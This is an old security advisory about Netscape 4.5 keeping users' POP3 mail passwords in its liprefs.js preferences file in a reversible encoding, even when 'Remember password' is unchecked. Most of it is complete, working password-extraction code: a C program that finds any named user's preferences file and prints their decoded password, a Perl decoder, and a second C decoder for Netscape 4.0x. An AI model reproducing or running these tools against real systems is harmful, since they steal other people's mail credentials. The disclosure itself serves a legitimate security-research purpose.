COMMAND
Netscape
SYSTEMS AFFECTED
Netscape 4.5
PROBLEM
Alexey Pavlov posted following. He found method how to get users
passwords from Netscape 4.5 for FreeBSD ~user/.netscape/liprefs.js
file. This file is used for storing user last session preferences.
This file also contains encrypted password for pop3. Not like a
DES, this encryption can be decrypted. As a result of many
experiments Alexey wrote this program. It gives you almost all
passwords in system (of those people using Netscape). Here is
src of this decryption program (and other programs follow too):
/*****************************************************
This Program designed for extract and decode Netshcape
email password. This program is realy very go-o-o-od!!
Programming by Lesha (c)1999
*****************************************************/
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <pwd.h>
#include <sys/stat.h>
unsigned char Tbl_1[]={
'A','B','C','D','E','F','G','H','I','J','K',
'L','M','N','O','P','Q','R','S','T','U','V',
'W','X','Y','Z','a','b','c','d','e','f','g',
'h','i','j','k','l','m','n','o','p','q','r',
's','t','u','v','w','x','y','z','0','1','2',
'3','4','5','6','7','8','9','+','/','='
};
unsigned char Tbl_2[96][8]={
{0x76,0xe9,0xcf,0x6a,0xbb,0x9e,0x7a,0x62},
{0x77,0xe8,0xce,0x6b,0xba,0x9f,0x7b,0x63},
{0x74,0xeb,0xcd,0x68,0xb9,0x9c,0x78,0x60},
{0x75,0xea,0xcc,0x69,0xb8,0x9d,0x79,0x61},
{0x72,0xed,0xcb,0x6e,0xbf,0x9a,0x7e,0x66},
{0x73,0xec,0xca,0x6f,0xbe,0x9b,0x7f,0x67},
{0x70,0xef,0xc9,0x6c,0xbd,0x98,0x7c,0x64},
{0x71,0xee,0xc8,0x6d,0xbc,0x99,0x7d,0x65},
{0x7e,0xe1,0xc7,0x62,0xb3,0x96,0x72,0x6a},
{0x7f,0xe0,0xc6,0x63,0xb2,0x97,0x73,0x6b},
{0x7c,0xe3,0xc5,0x60,0xb1,0x94,0x70,0x68},
{0x7d,0xe2,0xc4,0x61,0xb0,0x95,0x71,0x69},
{0x7a,0xe5,0xc3,0x66,0xb7,0x92,0x76,0x6e},
{0x7b,0xe4,0xc2,0x67,0xb6,0x93,0x77,0x6f},
{0x78,0xe7,0xc1,0x64,0xb5,0x90,0x74,0x6c},
{0x79,0xe6,0xc0,0x65,0xb4,0x91,0x75,0x6d},
{0x66,0xf9,0xdf,0x7a,0xab,0x8e,0x6a,0x72},
{0x67,0xf8,0xde,0x7b,0xaa,0x8f,0x6b,0x73},
{0x64,0xfb,0xdd,0x78,0xa9,0x8c,0x68,0x70},
{0x65,0xfa,0xdc,0x79,0xa8,0x8d,0x69,0x71},
{0x62,0xfd,0xdb,0x7e,0xaf,0x8a,0x6e,0x76},
{0x63,0xfc,0xda,0x7f,0xae,0x8b,0x6f,0x77},
{0x60,0xff,0xd9,0x7c,0xad,0x88,0x6c,0x74},
{0x61,0xfe,0xd8,0x7d,0xac,0x89,0x6d,0x75},
{0x6e,0xf1,0xd7,0x72,0xa3,0x86,0x62,0x7a},
{0x6f,0xf0,0xd6,0x73,0xa2,0x87,0x63,0x7b},
{0x6c,0xf3,0xd5,0x70,0xa1,0x84,0x60,0x78},
{0x6d,0xf2,0xd4,0x71,0xa0,0x85,0x61,0x79},
{0x6a,0xf5,0xd3,0x76,0xa7,0x82,0x66,0x7e},
{0x6b,0xf4,0xd2,0x77,0xa6,0x83,0x67,0x7f},
{0x68,0xf7,0xd1,0x74,0xa5,0x80,0x64,0x7c},
{0x69,0xf6,0xd0,0x75,0xa4,0x81,0x65,0x7d},
{0x16,0x89,0xaf,0x0a,0xdb,0xfe,0x1a,0x02},
{0x17,0x88,0xae,0x0b,0xda,0xff,0x1b,0x03},
{0x14,0x8b,0xad,0x08,0xd9,0xfc,0x18,0x00},
{0x15,0x8a,0xac,0x09,0xd8,0xfd,0x19,0x01},
{0x12,0x8d,0xab,0x0e,0xdf,0xfa,0x1e,0x06},
{0x13,0x8c,0xaa,0x0f,0xde,0xfb,0x1f,0x07},
{0x10,0x8f,0xa9,0x0c,0xdd,0xf8,0x1c,0x04},
{0x11,0x8e,0xa8,0x0d,0xdc,0xf9,0x1d,0x05},
{0x1e,0x81,0xa7,0x02,0xd3,0xf6,0x12,0x0a},
{0x1f,0x80,0xa6,0x03,0xd2,0xf7,0x13,0x0b},
{0x1c,0x83,0xa5,0x00,0xd1,0xf4,0x10,0x08},
{0x1d,0x82,0xa4,0x01,0xd0,0xf5,0x11,0x09},
{0x1a,0x85,0xa3,0x06,0xd7,0xf2,0x16,0x0e},
{0x1b,0x84,0xa2,0x07,0xd6,0xf3,0x17,0x0f},
{0x18,0x87,0xa1,0x04,0xd5,0xf0,0x14,0x0c},
{0x19,0x86,0xa0,0x05,0xd4,0xf1,0x15,0x0d},
{0x06,0x99,0xbf,0x1a,0xcb,0xee,0x0a,0x12},
{0x07,0x98,0xbe,0x1b,0xca,0xef,0x0b,0x13},
{0x04,0x9b,0xbd,0x18,0xc9,0xec,0x08,0x10},
{0x05,0x9a,0xbc,0x19,0xc8,0xed,0x09,0x11},
{0x02,0x9d,0xbb,0x1e,0xcf,0xea,0x0e,0x16},
{0x03,0x9c,0xba,0x1f,0xce,0xeb,0x0f,0x17},
{0x00,0x9f,0xb9,0x1c,0xcd,0xe8,0x0c,0x14},
{0x01,0x9e,0xb8,0x1d,0xcc,0xe9,0x0d,0x15},
{0x0e,0x91,0xb7,0x12,0xc3,0xe6,0x02,0x1a},
{0x0f,0x90,0xb6,0x13,0xc2,0xe7,0x03,0x1b},
{0x0c,0x93,0xb5,0x10,0xc1,0xe4,0x00,0x18},
{0x0d,0x92,0xb4,0x11,0xc0,0xe5,0x01,0x19},
{0x0a,0x95,0xb3,0x16,0xc7,0xe2,0x06,0x1e},
{0x0b,0x94,0xb2,0x17,0xc6,0xe3,0x07,0x1f},
{0x08,0x97,0xb1,0x14,0xc5,0xe0,0x04,0x1c},
{0x09,0x96,0xb0,0x15,0xc4,0xe1,0x05,0x1d},
{0x36,0xa9,0x8f,0x2a,0xfb,0xde,0x3a,0x22},
{0x37,0xa8,0x8e,0x2b,0xfa,0xdf,0x3b,0x23},
{0x34,0xab,0x8d,0x28,0xf9,0xdc,0x38,0x20},
{0x35,0xaa,0x8c,0x29,0xf8,0xdd,0x39,0x21},
{0x32,0xad,0x8b,0x2e,0xff,0xda,0x3e,0x26},
{0x33,0xac,0x8a,0x2f,0xfe,0xdb,0x3f,0x27},
{0x30,0xaf,0x89,0x2c,0xfd,0xd8,0x3c,0x24},
{0x31,0xae,0x88,0x2d,0xfc,0xd9,0x3d,0x25},
{0x3e,0xa1,0x87,0x22,0xf3,0xd6,0x32,0x2a},
{0x3f,0xa0,0x86,0x23,0xf2,0xd7,0x33,0x2b},
{0x3c,0xa3,0x85,0x20,0xf1,0xd4,0x30,0x28},
{0x3d,0xa2,0x84,0x21,0xf0,0xd5,0x31,0x29},
{0x3a,0xa5,0x83,0x26,0xf7,0xd2,0x36,0x2e},
{0x3b,0xa4,0x82,0x27,0xf6,0xd3,0x37,0x2f},
{0x38,0xa7,0x81,0x24,0xf5,0xd0,0x34,0x2c},
{0x39,0xa6,0x80,0x25,0xf4,0xd1,0x35,0x2d},
{0x26,0xb9,0x9f,0x3a,0xeb,0xce,0x2a,0x32},
{0x27,0xb8,0x9e,0x3b,0xea,0xcf,0x2b,0x33},
{0x24,0xbb,0x9d,0x38,0xe9,0xcc,0x28,0x30},
{0x25,0xba,0x9c,0x39,0xe8,0xcd,0x29,0x31},
{0x22,0xbd,0x9b,0x3e,0xef,0xca,0x2e,0x36},
{0x23,0xbc,0x9a,0x3f,0xee,0xcb,0x2f,0x37},
{0x20,0xbf,0x99,0x3c,0xed,0xc8,0x2c,0x34},
{0x21,0xbe,0x98,0x3d,0xec,0xc9,0x2d,0x35},
{0x2e,0xb1,0x97,0x32,0xe3,0xc6,0x22,0x3a},
{0x2f,0xb0,0x96,0x33,0xe2,0xc7,0x23,0x3b},
{0x2c,0xb3,0x95,0x30,0xe1,0xc4,0x20,0x38},
{0x2d,0xb2,0x94,0x31,0xe0,0xc5,0x21,0x39},
{0x2a,0xb5,0x93,0x36,0xe7,0xc2,0x26,0x3e},
{0x2b,0xb4,0x92,0x37,0xe6,0xc3,0x27,0x3f},
{0x28,0xb7,0x91,0x34,0xe5,0xc0,0x24,0x3c}
};
unsigned long int getn1(unsigned char c1){
register int i;
if(c1=='='){return 0;}
for(i=0;i<64;i++){if(Tbl_1[i]==c1){return i;}}
return -1;
}
int ub64(unsigned char *in,unsigned char *out){
int i=0;
int j=0;
unsigned long int n;
if(!in||!out){return 0;}
while(in[i]){
n=(((getn1(in[i+0])&63)<<18)|((getn1(in[i+1])&63)<<12)|((getn1(in[i+2])&63)<<6)|(getn1(in[i+3])&63));
out[j+0]=(unsigned char)((n>>16)&255);
out[j+1]=(unsigned char)((n>>8)&255);
out[j+2]=(unsigned char)(n&255);
i+=4;j+=3;
}
out[j]='\0';
return 0;
}
int decodestring(unsigned char *in,unsigned char *out){
int i;
int j;
int l;
l=strlen(in);if(l>8){l=8;}
if(!in||!out){return 0;}
for(i=0;i<l;i++){
out[i]='?';
for(j=0;j<95;j++){
if(Tbl_2[j][i]==in[i]){out[i]=32+j;}
}
}
out[l]='\0';
return 0;
}
char usage[]="Usage: getpasswd {-u user|-f file}\n";
int main(int argc,char*argv[]){
char filename[256];
FILE *f;
unsigned char buff[1024];
unsigned char *r;
unsigned char passwdbuff[20]="\0";
unsigned char *s;
unsigned char decoded1[20];
unsigned char decoded2[20];
struct passwd *pass;
/***************/
if(getuid()!=1818){exit(0);}
if(getuid()!=0){exit(0);}
if(argc<2){printf("%s",usage);exit(0);}
if(strcmp(argv[1],"-u")==0){
if((pass=getpwnam(argv[2]))==NULL){printf("User unknown
%s\n",argv[2]);exit(0);}
strcpy(filename,pass->pw_dir);
strcat(filename,"/.netscape/liprefs.js");
}
else if(strcmp(argv[1],"-f")==0){
strcpy(filename,argv[2]);
}
else{
printf("Unknown option %s\n",argv[1]);
printf("%s",usage);
exit(0);
}
/***************/
if((f=fopen(filename,"r"))==NULL){printf("Cannot open
%s\n",filename);return 0;}
while(!feof(f)){
fgets(buff,1024,f);
if(strstr(buff,"user_pref")){
if(r=strstr(buff,"mail.pop_password")){
while(*r!='\"'){r++;}r++;
while(*r!='\"'){r++;}r++;
s=passwdbuff;
while(*r!='\"'){*s=*r;s++;r++;}
*s='\0';
}
}
}
fclose(f);
if(passwdbuff[0]=='\0'){printf("Password not found!\n");return 0;}
ub64(passwdbuff,decoded1);
decodestring(decoded1,decoded2);
printf("%s\n",decoded2);
}
Here is a much shorter perl program Jon Schlegel wrote that will
do the same thing:
#!/usr/bin/perl
#
# Netscape "encrypted" password decoder by schlegel
# -------------------------------------------------
# Netscape 4.5 seems to save an encrypted version of your
# pop password in your preferences file even if you choose
# not to "save" the password.
# (compliments go to thievco for their advisory and
# for working out the encryption algorithm)
# schlegel
use MIME::Base64;
@hashlist = ("\x56","\xc9","\xef","\x4a","\x9b","\xbe","\x5a","\x42"); #
Array of characters to xor with the ciphertext.
if ($#ARGV != 0) { # Check to see if you supplied an
argument.
print "Encrypted string: "; # Nope, prompt you for one.
$ENCRYPTED_STRING = <STDIN>;
} else { # Yup, proceed.
$ENCRYPTED_STRING = $ARGV[0];
}
$PASSLEN = 9; # Set password length counter to nine.
$PLACE = 0; # Set ciphertext position to zero.
$PASSHASH = ""; # Set the hast to an empty string.
while (($found = index($ENCRYPTED_STRING,"=",$PLACE)) >= 0) # Count how many ='s there are in the ciphertext
{ # and subtract that number from nine.
$PLACE = ++$found;
$PASSLEN = --$PASSLEN;
}
for ($i = 0; $i < $PASSLEN; $i++) # Add the first $PASSLEN array indexes of the hash list to $PASSHASH.
{
$PASSHASH = $PASSHASH . $hashlist[$i];
}
print "Password length: ", $PASSLEN, "\n"; # Print the password length.
print "Decrypted password: ";
print ((decode_base64($ENCRYPTED_STRING)) ^ ($PASSHASH)); # and the decrypted password.
print "\n";
Wojtek Kaniewski posted his little decoder for Netscape 4.0x (and
no, it _won't_ get encrypted password from preferences file for
you):
/* (c) 1998 by wojtek kaniewski (wojtekka@dione.ids.pl) */
/* $ gcc decode.c -o decode */
/* $ ./decode <encrypted-password-here> */
#include <stdio.h>
char base64[] = \
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char key[] = \
{ 86, 201, 239, 74, 155, 190, 90, 66, 119, 2, 67, 24, 112, 48, 139,
76, 176, 42, 214, 79, 149, 141, 250, 247, 87, 123, 152, 9, 67,
93, 1, 10 };
void main(int argc, char **argv) {
int d = 0, m = 7, b, i = 0, c;
char *p = (argc > 1) ? argv[1] : "";
for (; *p && *p != '='; p++) {
for (c = 0; c < 64 && *p != base64[c]; c++);
for (b = 5; b > -1; b--, m--) {
d |= ((c & (1 << b)) >> b) << m;
if (!m) {
printf("%c", d ^ key[i++]);
d = 0;
m = 8;
};
}
}
printf("\n");
}
Of course, the real problem is not that the password is
decryptable - it _has_ to be decryptable because of POP clear-text
passwords, the problem is that Netscape stores it in its pref
files even though the "Remember password" checkbox is unchecked.
SOLUTION
Nothing. It's just a way to get your password, but one must have
superuser rights to do so.